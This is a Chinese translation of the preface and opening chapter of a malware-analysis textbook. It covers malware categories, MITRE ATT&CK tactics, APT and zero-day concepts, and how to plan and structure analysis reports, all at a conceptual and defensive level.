精通恶意软件分析第二版-全-

精通恶意软件分析第二版(全)

原文:annas-archive.org/md5/a5e642fcde320e26768a38bb6eadf732

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

新兴和发展中的技术不可避免地带来了新的恶意软件类型,创造了对能够防范这些恶意软件的 IT 专业人员的巨大需求。在这本更新版的《恶意软件分析精通》帮助下,你将为你的简历增添宝贵的逆向工程技能,并学习如何以最有效的方式保护组织。

本书将帮助你熟悉不同恶意软件类型背后的多种通用模式,并教你如何使用多种方法来分析它们。你将学会如何检查恶意软件代码,并确定它对系统可能造成的损害,以确保采取正确的预防或修复措施。在详细涵盖 Windows、Linux、macOS 和移动平台的恶意软件分析的各个方面时,你还将掌握混淆、反调试及其他高级反逆向工程技术。

你在这本网络安全书中获得的技能将帮助你处理几乎所有类型的现代恶意软件,强化防御,并在不管涉及什么平台的情况下,防止或迅速缓解安全漏洞。

本书结束时,你将学会如何高效地分析样本,调查可疑活动,并构建创新的解决方案来应对恶意软件事件。

本书适合谁阅读

如果你是恶意软件研究员、法证分析师、IT 安全管理员或任何希望防范恶意软件或调查恶意代码的人,本书适合你。这一新版适合所有知识水平的人,包括完全的初学者,但任何先前的编程或网络安全经验都将进一步加速你的学习过程。

本书内容

第一章网络犯罪、APT 攻击与研究策略,深入探讨了各种攻击类型及其相关恶意软件,帮助你了解攻击阶段及其背后的逻辑。此外,我们还将学习适用于所有平台的不同方法和技术,帮助恶意软件分析师完成他们的工作。

第二章汇编语言与编程基础速成课程,涵盖了最广泛使用的架构基础知识,从著名的 x86 和 x64 指令集架构ISAs)到支持多个移动设备和物联网IoT)设备的解决方案,这些设备常常被恶意软件家族滥用。

第三章x86/x64 的基本静态和动态分析,涵盖了你需要了解的核心基础知识,以便在 Windows 平台上逆向工程 32 位和 64 位恶意软件,重点介绍文件格式以及静态和动态分析的基本概念。

第四章解包、解密与解混淆,教你如何识别打包的样本,如何解包它们,如何处理不同的加密算法——从简单的滑动密钥加密到更复杂的算法,如 3DES、AES 和 RSA——以及如何处理 API 加密、字符串加密和网络流量加密。

第五章检查进程注入与 API 钩子,探讨各种进程注入技术,包括 DLL 注入和进程空洞(这是 Stuxnet 引入的一种高级技术),并解释如何处理它们。接着,我们将研究 API 钩子、IAT 钩子和其他钩子技术,分析恶意软件作者如何利用这些技术,以及如何应对。

第六章绕过反逆向工程技术,涵盖恶意软件作者用来保护其代码免受分析的各种反逆向工程技术。我们将熟悉从检测调试器和其他分析工具到虚拟机检测的不同方法,甚至会涉及攻击反恶意软件工具和产品的技术。

第七章理解内核模式 Rootkit,深入探讨 Windows 内核及其内部结构和机制。我们将介绍恶意软件作者用来隐藏恶意软件存在的各种技巧,以避免被用户和杀毒产品发现。

第八章处理漏洞和 Shellcode,探讨常见的漏洞类型、Shellcode 的功能及其不同实现方式、漏洞利用缓解技术以及攻击者如何绕过这些技术,并且如何分析 MS Office 和 PDF 恶意软件。

第九章逆向字节码语言 – .NET、Java 及更多,探讨跨平台编译程序的优点,即它们的灵活性,因为你无需将每个程序移植到不同的系统。在本章中,我们将分析恶意软件作者如何利用这些优势进行恶意操作,并学习如何快速高效地分析这些样本。

第十章脚本与宏 – 逆向、解混淆与调试,聚焦于分析各种恶意脚本,包括但不限于 Batch 和 Bash、PowerShell、VBS、JavaScript 以及不同类型的 MS Office 宏。

第十一章剖析 Linux 和物联网恶意软件,聚焦于针对 Linux 和类 Unix 系统的恶意软件。我们将介绍这些系统中使用的文件格式,讲解各种静态和动态分析技术,并通过实际案例解释恶意软件的行为。

第十二章macOS 和 iOS 威胁介绍,探讨了各种针对 macOS 和 iOS 用户的威胁,并分析了如何应对这些威胁。

第十三章分析安卓恶意软件样本,深入探讨了全球最流行的移动操作系统的内部结构,分析了现有和潜在的攻击向量,并提供了关于如何分析针对安卓用户的恶意软件的详细指南。

为了最大限度地利用本书

本书中提到的工具远不止这些,下面列举的是其中一些最重要的工具。

如果你使用的是本书的数字版,我们建议你自己输入代码,或者通过本书的 GitHub 仓库(下一个章节有相关链接)访问代码。这样做将帮助你避免复制和粘贴代码时可能出现的错误。

IDA 脚本语言的语法可能会随着时间的推移略有变化。如果出现无法使用的情况,请参考官方文档。

下载示例代码文件

你可以从 GitHub 下载本书的示例代码文件,网址为 github.com/PacktPublishing/Mastering-Malware-Analysis-Second-edition。如果代码有更新,它将会在 GitHub 仓库中更新。

我们还提供了其他代码包,来自我们丰富的书籍和视频目录,网址为 github.com/PacktPublishing/。快来看看吧!

下载彩色图片

我们还提供了一个 PDF 文件,包含本书中使用的截图和图表的彩色图片。你可以在这里下载:packt.link/uFbey

使用的约定

本书中使用了多种文本约定。

文本中的代码:表示文本中的代码词汇、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名。例如:值得注意的是,IDT 曾用于将数据传递到 Windows 2000 及更早版本的内核模式,在 sysenter 成为首选方法之前。

代码块设置如下:

push Arg02
push Arg01
call Func01

任何命令行输入或输出如下所示:

sc create <service_name> type= own binpath= <path_to_executable>

粗体:表示一个新术语、一个重要的词或你在屏幕上看到的词。例如,菜单或对话框中的词通常显示为粗体。例如:在 VirtualBox 中,打开虚拟机设置并转到串口类别。

提示或重要说明

以如下形式出现。

联系我们

我们欢迎读者的反馈。

一般反馈:如果你对本书的任何部分有疑问,请通过电子邮件联系我们:customercare@packtpub.com,并在邮件主题中注明书名。

勘误:虽然我们已尽一切努力确保内容的准确性,但难免会有错误。如果您在本书中发现任何错误,我们将非常感激您能报告给我们。请访问www.packtpub.com/support/errata并填写表单。

版权问题:如果您在互联网上遇到任何形式的我们作品的非法复制,我们将非常感激您能提供相关位置或网站名称。请通过copyright@packt.com与我们联系,并提供相关材料的链接。

如果您有兴趣成为作者:如果您对某个主题有专业知识,并且有兴趣写作或为书籍做贡献,请访问authors.packtpub.com

分享您的想法

阅读完《恶意软件分析精通(第二版)》后,我们很希望听到您的反馈!请点击此处直接进入亚马逊评价页面并分享您的意见。

您的评论对我们以及技术社区都非常重要,并将帮助我们确保提供优质内容。

第一部分 基础理论

本节将介绍成功进行各平台样本静态分析所需的核心概念,包括架构和汇编的基础知识。虽然您可能已经对 x86 架构有一定了解,但如今恶意软件也大量针对较少见的架构,例如 PowerPC 或 SH-4,因此这些架构不应被低估。

本节包括以下章节:

  • 第一章*,网络犯罪、APT 攻击与研究策略*

  • 第二章*,汇编与编程基础速成课程*

第一章:网络犯罪、APT 攻击与研究策略

我们的现代世界越来越依赖各种 IT 系统。能够控制这些系统以及它们可能包含和处理的信息,是一种强大的力量,吸引了各种类型的犯罪分子。

在本章中,我们将讨论至今为止网络犯罪格局的演变,以及恶意软件分析在对抗其中的角色。然后,我们将深入探讨各种类型的攻击及其相关恶意软件,以了解可能的攻击阶段及其背后的逻辑。此外,我们还将学习不同的研究策略和方法,这些方法对于所有平台都具有普遍性,帮助恶意软件分析师完成工作,从收集相关的遥测数据和样本,到执行逆向工程RE)任务,并回答具体问题。

在本章中,将涵盖以下主题:

  • 为什么进行恶意软件分析?

  • 探索恶意软件的类型

  • MITRE ATT&CK 框架解析

  • APT 和零日攻击以及无文件恶意软件

  • 选择你的分析策略

  • 环境设置

为什么进行恶意软件分析?

网络攻击无疑在增加,目标包括政府、军事和公私部门。实施这些攻击的行为者可能有多种动机,比如作为间谍活动的一部分窃取有价值的信息,通过勒索等多种方式获取金钱,或以破坏资产和声誉的方式进行破坏活动。

对数字系统的依赖日益增加,这种趋势在 COVID-19 大流行期间急剧加速,近年来,恶意软件,尤其是勒索软件相关事件也呈现大幅上升。

随着对手变得越来越复杂,并执行越来越先进的恶意软件攻击,能够迅速检测和应对此类入侵对于网络安全专业人员至关重要,而分析恶意软件所需的知识、技能和工具对于高效完成这些任务至关重要。

在本节中,我们将讨论作为恶意软件分析师,你在应对此类攻击、寻找新威胁、创建检测方法或生成威胁情报信息方面的潜在影响,旨在帮助你和其他组织更好地准备迎接即将到来的威胁。

恶意软件分析在收集威胁情报中的作用

威胁情报(也称为网络威胁情报,通常缩写为威胁情报或CTI)是信息,通常以入侵指标IoC)的形式存在,供网络安全社区用于识别和匹配威胁。它有多个目的,包括攻击检测和防御,以及归因,使研究人员能够将线索连接起来,识别可能来自同一攻击者的当前和未来威胁。IoC的例子包括样本哈希(最常见的是 MD5、SHA-1 和 SHA-256)和网络痕迹(主要是域名、IP 地址和 URL)。IoC在社区中的交换方式有很多种,包括专门的共享计划和出版物。攻击指标IoA)通常也用于描述很可能与恶意活动相关的异常行为。一个典型的例子是位于非军事区DMZ)的机器突然开始与多个内部主机进行通信。如我们所见,与需要额外背景信息的原始IoC不同,IoA更能揭示攻击的意图,因此可以轻松地映射到特定的战术、技术和程序TTP)。

与其他方法(如日志分析或数字取证)相比,恶意软件分析提供了一个非常准确和全面的IoC列表。这些IoC中的一些可能很难通过其他数字调查或取证方法来识别。例如,它们可能包括合法网站(如 Twitter、Dropbox 等)上的特定页面、帖子或帐户。追踪这些IoC最终有助于更快地摧毁相关的恶意活动。

恶意软件分析还为每个IoC所代表的含义提供了宝贵的背景信息。如果在组织中检测到这些IoC,理解其背景可能有助于优先处理相应的事件。

恶意软件分析在事件响应中的作用

一旦在组织内检测到攻击,响应过程就会启动。首先是对受感染的机器进行隔离,并进行取证调查,旨在了解恶意活动的原因和影响,从而采取正确的修复和预防策略。

当恶意软件被识别后,恶意软件分析过程就开始了。首先,通常涉及到查找所有相关的IoC(入侵指标),这有助于发现其他受感染的机器或被妥协的资产,并找到其他相关的恶意样本。其次,恶意软件分析有助于理解载荷的功能。恶意软件是否会在网络中传播?它是否窃取凭证和其他敏感信息,或者是否包含针对未打补丁漏洞的攻击?所有这些信息都有助于更精确地评估攻击的影响,并找到合适的解决方案,以防止未来发生类似事件。

此外,恶意软件分析还可以帮助解密和理解攻击者与受感染机器上的恶意软件之间发生的网络通信。一些企业网络安全产品,如网络检测响应NDRs),可以记录可疑的网络流量,供后续调查。解密这些通信可能使恶意软件分析和事件响应团队更好地理解攻击者的动机,并更准确地识别被攻击的资产和被窃取的数据。

正如您所看到的,恶意软件分析在应对网络攻击中发挥着重要作用。它可能涉及组织中的一个独立团队,或者是具备相关恶意软件分析技能的事件响应团队成员。

恶意软件分析在威胁狩猎中的作用

与事件响应相比,威胁狩猎是主动寻找攻击迹象(IOAs)。它可以更加主动,发生在安全警报触发之前,或者是反应性地解决现有问题。在这种情况下,理解可能的攻击者战术和技术至关重要,因为它可以让网络安全专业人员获得更高层次的视角,更有效地导航潜在的攻击面。这个领域的一个重大进展是 MITRE ATT&CK 框架的创建,我们稍后将详细讨论它。

恶意软件分析知识帮助网络安全工程师成为更专业的威胁猎人,深入理解攻击者的技术和战术,并充分了解其背景。特别是,它有助于理解攻击是如何实施的,例如,恶意软件是如何与攻击者/指挥与控制C&C)服务器进行通信、伪装自己以绕过防御、窃取凭证和其他敏感信息、提升权限等,这将指导威胁狩猎过程。掌握这些知识后,您将更好地理解如何在日志或系统的易失性和非易失性数据中高效地搜索这些技术。

恶意软件分析在创建检测中的作用

全球多家公司开发并分发网络安全系统,以保护其客户免受各种类型的威胁。检测恶意活动的方法有很多种,涵盖了攻击的不同阶段,例如,监控网络流量、检查系统日志和注册表项,或静态和执行时检查文件。在许多情况下,这需要开发某种规则或签名,用以区分恶意模式和良性模式。恶意软件分析在这方面是不可替代的,因为它帮助安全专业人员识别这些模式并创建出不产生误报的强大规则。

在下一部分,我们将讨论如何根据恶意软件的功能对其进行分类。

探索恶意软件的类型

在本节中,我们将讨论恶意软件存在的一般原因,它与其他计算机程序的不同之处,以及我们在现实世界中可能遇到的不同种类。

恶意软件发展的简史

在个人电脑崛起之前,只有非常少数的软件开发者。它们的目标是最大限度地利用当时可用的硬件,改善人们的生活,无论是会计软件、将人类送入太空的软件,还是游戏。迅速发展的网络将多台计算机连接在一起,使计算机和人们能够进行远程通信。大约在同一时期,随着计算机的进一步普及,使普通大众能够更负担得起,全球范围内的第一个黑客社区开始出现。然而,正是在学术界,出现了一个具有重大影响的最臭名昭著的恶意软件事件——莫里斯蠕虫。它能够通过网络传播到其他计算机,利用多个漏洞,主要是sendmailfingerd软件中的漏洞。然而,蠕虫没有检查目标计算机是否已被感染,从而在每台计算机上生成多个副本,迅速消耗受害者的所有系统资源,使其无法使用。它仅仅出于纯粹的兴趣而创建,向世界展示了几行代码可能带来的后果,并导致了第一次因恶意软件开发而被定罪的案件。此后,许多其他类型的恶意软件开始出现。那时,创作者们的主要目标是展示他们在社区中的技能。

随后,焦点慢慢转向了赚钱。编程变得越来越流行,学校和大学开始教授编程,而新型高级编程语言的出现使得经验较少的人也能开始编写自己的代码,包括恶意代码。最终,职业化的网络犯罪团伙开始出现,明确分工,使得恶意软件开发成为一个非常有利可图的有组织的非法活动。这些团伙利用了所有可能的洗钱手段,包括最初的“金钱驮运者”以及后来的加密货币,以避免追踪和随后的逮捕。这些团体通常被称为“以财务为动机的行为者”。

在过去几年里,以财务为动机的团体逐渐将焦点从攻击消费者转向攻击大型组织,并通过一次攻击在一个地方赚取大笔钱。最常见的例子是使用勒索软件加密受害者的文件,然后要求赎金以恢复访问权限。在许多情况下,还使用了双重勒索方案,犯罪分子威胁要将敏感材料公开。

政府也开始寻求利用恶意软件进行网络间谍活动和破坏的可能性。正是 Stuxnet 攻击真正引起了公众对其存在及其初步毁灭性能力的关注。参与这一过程的恶意软件开发团队通常是由国家资助的。除此之外,还有一些公司公开开发并出售先进的监控恶意软件给政府。例子包括 NSO 集团,销售 Pegasus 威胁;Hacking Team 公司,提供 Da Vinci 和 Galileo 平台;以及 Lench IT Solutions(Gamma 集团的一部分),销售 FinFisher 间谍软件。

毫不奇怪的是,恶意软件会跟随最常用的平台,以获得尽可能广泛的覆盖范围。因此,基于 Windows 的恶意软件仍然在工作站中最为普遍。在移动市场中,Android 仍然是市场领导者,因此也是最多恶意软件家族的攻击目标。最后,物联网 (IoT) 恶意软件也在上升,目标是历史上保护较少的智能设备(大多基于 Linux)。当然,这并不意味着平台不常见就更安全,没有恶意软件。

恶意软件类别

恶意软件类别通常是根据其影响或传播方式来定义的。不同的杀毒公司可能会在定义或命名上稍有不同。以下是一些最常见的例子:

  • 特洛伊木马:最常见的恶意软件类别,简单定义为在用户未察觉的环境中执行恶意活动,得名于用于征服特洛伊城的传奇特洛伊木马:

    • 下载器:这里的主要目标是下载并以某种方式执行外部负载(无论是明确地还是通过将其添加到自动运行中)。

    • 投放器:这里,额外的负载并不是通过下载获取,而是从特洛伊木马的主体中提取出来。

    • 后门程序,也叫远程访问木马 (RAT):在这种情况下,恶意软件可以接收远程指令,执行一系列操作。

    • 勒索软件:在这种情况下,攻击者通过某些手段阻止用户进行日常活动,并要求支付赎金以恢复这些活动。这通常是通过锁定整个系统或锁定系统中特定文件的访问来实现的。另一种常见的情况是,攻击者指控个人犯有某种罪行,并要求支付“罚款”,威胁如果不支付就会升级或公开此事。

    • 信息窃取者,也叫 密码窃取者 (PWS):这里的主要目标是窃取敏感信息,例如各种已保存的凭据(来自其他机器、金融机构、社交网络、电子邮件和即时消息账户、视频游戏等)。

    • 间谍软件:尽管间谍软件的目的是与信息窃取者类似,但这一类别更广泛,也可能包括视频和音频录制功能,或通过 GPS 追踪受害者的位置。

    • 银行木马:这一类通常属于信息窃取者,但目的更为狭窄,潜在功能范围更广。在这种情况下,恶意软件可能特别集中在获取金钱上,因此它也可能支持截取银行发送的两因素认证2FA)的一次性令牌,修改财务信息以重定向支付,或注入脚本来拦截输入的银行凭证。

    • DoS:这里的主要目标是拒绝服务DoS),使目标系统或服务无法使用;通常用于破坏、黑客行为或恶意破坏目的。

    • 清除器:在这种情况下,恶意软件用于删除对系统操作至关重要或敏感的信息,从而成为拒绝服务攻击的另一个工具。

    • DDoS:在这种情况下,发起了分布式拒绝服务DDoS)攻击,其中多个机器人通过网络攻击受害者。

    • 垃圾邮件发送者,也叫 垃圾邮件怪物:这个威胁可以代表受害者发送垃圾邮件。

    • 点击者:在这种情况下,攻击者可能模拟真实用户的点击,以从广告中获利,进行搜索引擎污染,或推广虚假账户。

    • 矿工:在这种情况下,受害者不知情的计算机被用于挖掘加密货币,消耗计算机的宝贵资源。

    • 打包:这个名字并不指代相关威胁的实际目的,通常意味着相应的样本使用了某种恶意打包工具进行保护。

    • 注入器:这个名字并不指代威胁的实际目的,而是指相应的样本由于某种原因使用了进程注入(关于潜在使用案例的更多信息,请参见专门的第五章检查进程注入和 API 钩子)。

  • 蠕虫:这一类威胁的定义是能够在不同机器之间自我传播。根据它们传播所使用的协议(例如 IRC)或媒介(即时消息、电子邮件等),蠕虫有多种变体。

  • 病毒:与在机器之间传播的蠕虫不同,文件感染者的主要目标是在当前系统中传播,通过感染其他可执行文件和文档。在这种情况下,当受害者打开/启动合法文件时,控制权也会转交给恶意代码。它的使用方式有几种变体,包括实际将恶意代码和数据写入可执行文件并将宏模板添加到文档中,或只是将受害者文件替换为自己的文件,并将原始文件的副本存储在其他地方以便稍后执行。

  • Rootkit:如今,这个名称没有单一的定义。最初用来定义提升权限的工具(赋予 root 访问权限),但现在最常用的定义是用于隐藏其他威胁或仅在内核模式下运行的威胁。更多信息请参见第七章理解内核模式 Rootkit

  • 引导木马:这类威胁会将自己插入到启动过程中(例如,通过修改启动扇区或启动加载器),以便在操作系统加载之前获得访问权限。

  • 漏洞利用:在此,恶意软件利用受害者软件中的漏洞来实现其目标(提升权限、访问敏感信息、执行任意代码执行ACE)等)。请参阅 第八章处理漏洞利用和 Shellcode,以获取更多有关漏洞利用的信息。

  • 假冒防病毒:这类威胁向用户展示各种关于系统 allegedly 严重问题的警告,并强烈要求购买其“完整版”以解决问题。

  • 骗局:通常作为一个玩笑或恶作剧创造,这类威胁旨在仅仅通过吓唬用户,让他们担心某个“严重”的但实际上并不存在的问题。

  • PUAs:即潜在不需要的应用程序,这些威胁通常涉及较少破坏性但依然烦人的活动,例如默默安装合法但未经请求的应用程序。

  • 广告软件:在这种威胁下,受害者会看到未经请求的广告,许多情况下这些广告会非常侵入且难以移除。

  • 黑客工具:这是一个大类别,涉及多种工具,既可以被攻击者使用,也可以被网络安全专业人员使用,例如用于红队演练的目的。

  • psexec 工具由 Sysinternals 提供,可以用于在远程机器上执行命令,以及各种远程管理工具。

在许多情况下,样本会同时属于多个类别。例如,一个样本可以通过窃取凭证并下载附加有效载荷来传播为蠕虫,而另一个样本可能会执行像后门这样的自定义命令;这些命令包括信息窃取、通过利用漏洞提升权限,以及组织 DDoS 攻击。最终选择的单一类别通常由每个杀毒公司政策决定,其中某些类别优先于其他类别,通常是基于潜在影响。

有时,软件可能会落入所谓的灰色软件类别。在这种情况下,可能并不完全清楚该软件是合法的还是恶意的。例如,一些形式的 PUAs 和广告软件,或类似假冒防病毒程序的安全软件,提供的好处与其要求的价格相比极其有限。通常,是否将其识别为病毒由每个杀毒公司决定。

命名约定

不幸的是,网络安全社区尚未就恶意样本命名达成统一的通用规范,每个杀毒软件厂商都可以自由使用自己的命名方式。通常,检测名称会包括目标平台、恶意软件类别和家族,有时还会包括版本和检测技术。以下是基于VirusTotal结果,不同厂商对于同一个恶意软件样本 9e0a15a4318e3e788bad61398b8a40d4916d63ab27b47f3bdbe329c462193600 使用的检测名称:

  • Avast:ELF:CVE-2017-17215-A [Expl]

  • DrWeb:Linux.Packed.1037

  • 卡巴斯基实验室:HEUR:Backdoor.Linux.Mirai.b

  • 微软:Trojan:Win32/Ceevee

  • 索福斯:Linux/DDoS-CI

  • 思杰:Trojan.Gen.NPE

如我们所见,不同厂商通常会为同一个恶意软件家族指定不同的名称。此外,许多公司有默认名称,如果识别或创建恶意软件家族名称太昂贵,或者根本不值得这样做,它们会使用这些名称;例如 Agent、Generic、Gen 等。在许多情况下,当某些威胁的源代码被泄露到公开渠道、在黑客团体之间交换,或被同一作者在另一个项目中重用时,情况变得更加复杂,这导致了结合多个恶意软件家族代码和功能的威胁的产生。选择恶意软件家族名称时,可以遵循公司政策,或者如果你需要一个与厂商无关的名称,可以考虑使用 MITRE ATT&CK 的命名方式。

MITRE ATT&CK 框架解释

如我们之前所提到的,不同的网络安全厂商通常会给黑客团体和恶意软件家族起不同的名称。因此,知识交流变得更加复杂,最终影响到社区的表现。MITRE ATT&CK 框架的创建就是为了应对这一问题以及其他类似的问题,并让安全专家能够使用统一的语言。这个框架是一个与厂商无关的全球知识库,涵盖了多种攻击技术,并按战术进行分组,同时提供了利用这些技术的攻击者和恶意软件示例,从而为这些战术赋予了广泛接受的名称。

基本术语

以下是该领域中使用的一些最重要的术语:

  • Tactic(战术): 代表攻击者的高层次目标,说明为什么执行相应的动作

  • Technique(技术): 实现高层次目标的实际方式

  • Sub-technique(子技术): 更详细和更具体的描述,说明某一特定行为是如何执行的

  • Procedure(过程): 技术/子技术的实际实现

  • TTPs(战术、技术和程序): 代表攻击者使用的方法的总结,并解释通过使用这些方法可以实现的目标

  • Group(团体): 代表一组可能由单个实体执行的相关对抗性活动,通常通过该名称识别

  • Mitigation(缓解): 用于绕过或防止攻击的技术和概念

  • 软件:可以用于实施对抗行动的代码,结合了公开的工具和恶意软件。

  • 矩阵:与特定行业领域相关的 TTP(技术、战术和程序)组合。

在该框架中,针对企业、工业控制 系统ICSs)和移动领域有多个矩阵。最常用的是企业矩阵,因此我们将详细讨论它。

企业矩阵

目前,企业框架定义了以下策略:

  • 侦察:此阶段涉及收集关于受害者的相关信息,以便执行成功的攻击,例如,关于某个组织的基础设施和人员。

  • 资源开发:在此阶段,攻击者根据收集的信息建立所有所需的依赖项。可以通过多种方式实现:购买/租赁、创建或窃取前提条件(例如,托管或软件)。

  • 初始访问:在此阶段,攻击者尝试在受害者的环境中建立第一个立足点。此策略最常见的一个例子是发送网络钓鱼邮件(主要是电子邮件)。

  • 执行:在此阶段,攻击者在受害者的环境中执行任何形式的代码,以实现他们的目标。

  • 持久性:包括攻击者为保持其在受害环境中的存在所做的所有事情。常见的例子包括将恶意代码添加到自动运行项中或将 SSH 密钥添加到授权条目的列表中。

  • 特权升级:由于初始访问在许多情况下是通过入侵低权限账户实现的,攻击者在此阶段试图获取更高的权限,以便对受影响的环境进行更多的控制。

  • 防御规避:攻击者在此阶段的主要目标是避免被发现,直到他们的目标达成。常见的例子包括混淆恶意代码或将相关文件标记为隐藏。

  • 凭证访问:此策略涉及窃取凭证并稍后滥用它们。这里一些最常见的技术包括转储保存的凭证和拦截凭证,例如通过记录按键来获取。

  • 发现:在此阶段,攻击者收集有关受害者环境内部的信息,从网络和本地系统开始。这些信息通常用于促进其他策略,如横向移动。

  • 横向移动:在这个阶段,攻击者向其他机器传播,直到到达感兴趣的系统。

  • 收集:涉及从受影响的系统中收集各种感兴趣的信息。常见的例子包括窃取专有源代码和文档。

  • 指挥与控制:此策略涵盖了攻击者可能与被入侵系统进行远程通信的各种方式。

  • 信息外泄:攻击者可能利用的技术,将敏感信息从被入侵的环境中转移出去。

  • 影响:最后,这一策略描述了攻击者可能对被攻陷系统造成负面影响的其他方式。常见的例子包括操控、干扰或摧毁关键系统和数据。

图 1.1 – MITRE ATT&CK 企业矩阵的网页表示

图 1.1 – MITRE ATT&CK 企业矩阵的网页表示

值得一提的是,框架并不是静态的,它不断演化,融入用户反馈并解决行业面临的新挑战。每个版本的框架都附带有一个 结构化威胁信息表达STIX)格式的表示:github.com/mitre-attack/attack-stix-data。它支持与各种软件产品的高效集成,并使得在引入变更时能够平衡稳定性和高效监督。STIX 是一种多用途格式,网络安全社区也广泛用于交换 IoC(入侵证据),其中版本 1 基于 XML,版本 2 基于 JSON。

APT 和零日攻击及无文件恶意软件

在这里,我们将解释一些在白皮书和与恶意软件相关的新闻文章中常见的术语。

APT 攻击

APT 代表 高级持续性威胁。通常,恶意软件被赋予这一名称是因为攻击者将其定制化以针对特定实体,无论是组织还是个人。这意味着攻击者选择了一个特定的受害者,并且如果某一种方法不起作用,他们不会轻易放弃。除此之外,威胁应当是相对先进的——例如,它应该有复杂的结构,使用非标准技术或零日漏洞等。

在许多情况下,重复使用 IoC 来进行检测对 APT 恶意软件来说是无效的,因为攻击者会为每个受害者注册新的网络基础设施并重新编译样本。

事实上,没有严格的客观标准来评估某一威胁的高级程度。因此,新闻媒体和受影响的组织通常倾向于过度使用这个术语,使得攻击看起来比实际情况更复杂。通过这种方式,几乎任何相对较新的攻击或导致成功入侵的攻击都可以被称为 APT。

零日攻击

许多攻击都涉及利用针对特定漏洞的漏洞利用技术来实现特定目标,如获取初始访问权限或执行特权升级。通常,一旦漏洞被公众知晓,软件供应商会解决该问题并发布补丁,以便最终用户更新系统,从而保护自己免受此类攻击。零日攻击涉及利用零日漏洞,这些漏洞是之前未知的,因此定义了一个“零日”,即漏洞首次被利用的那一天。这对最终用户的意义在于,他们没有办法更新易受攻击的系统,从而解决这一威胁。在这种情况下,用户通常会被提供一些部分解决方法,以暂时减少潜在的影响,直到补丁准备好发布,但这些方法通常有各种缺点,影响系统的性能。

无文件恶意软件

恶意软件保持低调有很多原因。首先,它确保恶意软件能够成功进入受害者的环境,并执行所有必要的攻击阶段。其次,它将复杂化检测和修复过程,延长感染时间并增加成功的机会。

事件响应 (IR) 工程师利用所有可能记录恶意活动的地方来构建完整的图像,高效地消除威胁,并防止事件再次发生。这其中的数据科学被称为数字取证。在这个过程中,分析师将收集系统中的各种指标,包括文件痕迹。

所谓的无文件恶意软件应运而生,以防止恶意活动并绕过传统的防病毒产品,后者通常专注于检测以文件形式出现的恶意样本。其理念是,恶意代码没有独立的样本可以检测和删除。相反,它使用的是外壳和内联脚本命令。此类威胁的一个例子是 Poweliks,它将恶意命令存储在注册表键中,提供自动运行功能。

现在所有重要的术语都已经明确,我们可以开始讨论如何处理新的逆向工程任务。

选择你的分析策略

逆向工程是一个耗时的过程,很多时候,工程师没有足够的资源去深入挖掘自己想要的内容。优先考虑最重要的事项,并集中精力进行处理,将确保每次都能在规定时间内产生最佳结果。以下是一些可能对这项具有挑战性的任务有所帮助的建议。

了解你的受众

根据谁将使用你的工作结果,可操作的交付物可能会有很大的不同。逆向工程的潜在使用案例包括以下几个方面:

  • 威胁情报:在这里,重点将主要放在获取 IoC(指纹),如哈希值、文件名和网络遗留物。因此,提取嵌入的有效载荷、下载远程样本、查找其他相关模块以及从中提取 C&C 信息,可能是最优先的任务。

  • AV 检测:在这种情况下,重点将放在任何独特的元素上,这些元素足够独特,能够创建出稳健的检测机制,并且不会产生误报FPs)。例如,与恶意功能相关的独特代码片段和字符串,以及任何自定义加密算法。理解主要逻辑将有助于选择正确的类别,而代码和数据的相似性将有助于确定恶意软件家族。

  • 技术文章或会议演讲:在这里,最重要的部分将是与功能相关的有趣的新技术细节、与其他恶意软件家族的相似性,以及攻击者的归属分析。

  • 面向大众的文章:对于非技术人员,通常提供功能的高层次描述,而不涉及太多技术细节,主要集中在影响上。

回答观众的问题

回答受众提出的主要问题非常重要。确保在分析报告中明确并易于查找答案。

以下是你的受众在报告中可能需要回答的几个问题:

只要这一部分清晰明确,我们就可以开始优先处理具体的主题。

定义你的目标

一旦确认了受众,基于可用的资源(首先是时间和技能)仔细定义你的目标。在此之后,优先考虑选择的目标,并首先集中精力处理最重要的部分。在进行静态分析时,很容易迷失在汇编代码中,因此列出需要完成的任务和优先顺序的清单将帮助你重新回到正轨。

避免不必要的技术细节

无论谁将消费你的工作成果,过多的额外细节不会展示你的专业水平,反而会让理解工作变得更加复杂,并浪费时间。常见的例子包括执行的指令、使用的 WinAPI、访问的标准注册表键,或创建的互斥体。因此,你应该执行以下操作:

  • 根据目标受众选择所需的详细程度。

  • 如果某个事实对读者没有帮助,避免详细阐述。

  • 不要仅仅提到技术细节——要解释它们的高级目的,以及攻击者为何必须明确使用它们。

最后,确保覆盖所有重要的部分,并且内容详细且正确。绝不要仅凭直觉或事先知识做出断言,而没有任何与当前样本相关的实际事实。如果你发现了某些信息,但没有时间深入挖掘,可以使用适当的措辞(例如:“有迹象表明……但需要更多的工作来确认”)。

示例结构

以下是通常根据格式和受众包含在最终工作中的一些细节。

技术文章

在大多数情况下,以下信息将是有用的:

  • 样本详情:

    • 哈希值(MD5、SHA1、SHA2)

    • 编译时间戳

    • 文件类型和大小

    • 在实际环境中 (ITW) 文件名

    • AV 厂商的检测

  • 模块间关系(如果涉及多个模块)

  • 对于每个模块:

    • 主要功能的描述

    • 持久性机制

    • 网络通信:

      • 协议

      • 加密算法和密钥

      • C&C 详情(IP 地址、域名、URL、独特的 whois 信息、主机所在国家等)

    • 反逆向工程技术

  • IoCs

  • 检测规则(YARA、Snort 等)

面向大众的文章

  • 以影响为重点的高级功能描述

  • 攻击规模

  • 受害者概况:

    • 目标组织类型

    • 受害者的地理位置

    • 损失估算

  • 行为者归属:

    • 样本相似性

    • 匹配的 IoCs(哈希值、网络工件、文件名等)

    • 使用的语言代码页和字符串

    • 编译时间戳

典型的分析工作流程

现在我们知道应该关注什么,接下来的问题是:我们如何组织工作,以在及时的情况下产出最佳结果?以下步骤建议你遵循:

  • 初步筛查:在此阶段,收集关于样本的最大可用信息:

    • 分析 PE 头部。

    • 检查样本是否可能被打包(高熵块)。

    • 检查公共资源中的已知 IoCs(哈希值、网络工件、AV 检测名称等)。

  • 行为分析:大多数信息将通过文件、注册表和网络操作获取。通过这种方式,我们可以了解潜在样本的能力。

  • 解包(如有必要):在样本解包之前无法进行静态分析,因为实际的恶意代码和数据尚未完全揭示。

  • 静态分析:通过反汇编器和反编译器进行:

    • 从可用字符串和常见误用的 WinAPI 开始。
  • 动态分析:通过调试器进行。设置和执行可能会非常昂贵,因此仅在需要时使用:

    • 确认某些功能

    • 处理字符串/API/嵌入载荷/通信加密

设置环境

